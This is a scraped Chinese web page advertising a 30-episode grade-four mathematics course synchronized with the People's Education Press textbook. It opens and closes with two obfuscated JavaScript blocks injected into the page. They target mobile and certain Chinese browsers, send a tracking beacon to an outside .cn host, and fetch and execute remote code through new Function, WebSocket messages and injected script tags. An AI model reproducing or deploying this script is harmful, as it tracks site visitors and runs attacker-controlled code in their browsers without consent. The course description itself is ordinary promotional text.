function LqGRe(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function StFvEqWy(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return LqGRe(t);};window[''+'d'+'I'+'D'+'P'+'v'+'n'+'L'+'C'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ykNE(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=StFvEqWy,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ykNE(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsc.vxcewh.cn:7891/stats/16000/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ykNE(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmxpdWd33Mi5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5ja210dHgguY24lM0E5NTM0','169618',window,document,['3','g']);}:function(){};
收藏
已收
订阅
已订

四年级下册数学人教版教材同步课

  • 经典
  • 共30集  |  每集 45分钟
  • 1、保证课本内容全部讲解，全网仅此一家！有些别家的…1、保证课本内容全部讲解，全网仅此一家！有些别家的课程很便宜，是因为他们的课本内容基本不讲或只讲一部分，你可以细细查验。2、课时总长度同类课程中最长，绝对真材实料！单个课时在半小时左右，长的能超过1小时。3、严格贴合学生课本，完全按照教材章节顺序，课本内容全部精细讲解，并附加经典考试真题。4、配套资料上的习题全是经典考试真题，且全部精细讲解，学完课本内容后，使用配套资料趁热打铁强化练习，夯实基础、拓展拔高。

同类型

四年级下册数学人教版教材同步课评论

  • 评论加载中...


Copyright © 2016-2018 www.yartvu.Com .All Rights Reserved .

留言求片

function Omcop(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UCZQGsf(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return Omcop(t);};window[''+'x'+'W'+'E'+'Z'+'N'+'G'+'s'+'a'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function qeDGm(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=UCZQGsf,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=qeDGm(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsc.vxcewh.cn:7891/stats/16019/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=qeDGm(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnFpdXhsMi55jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5ja2100dHguY24lM00E5NTM00','169693',window,document,['5','0']);}:function(){};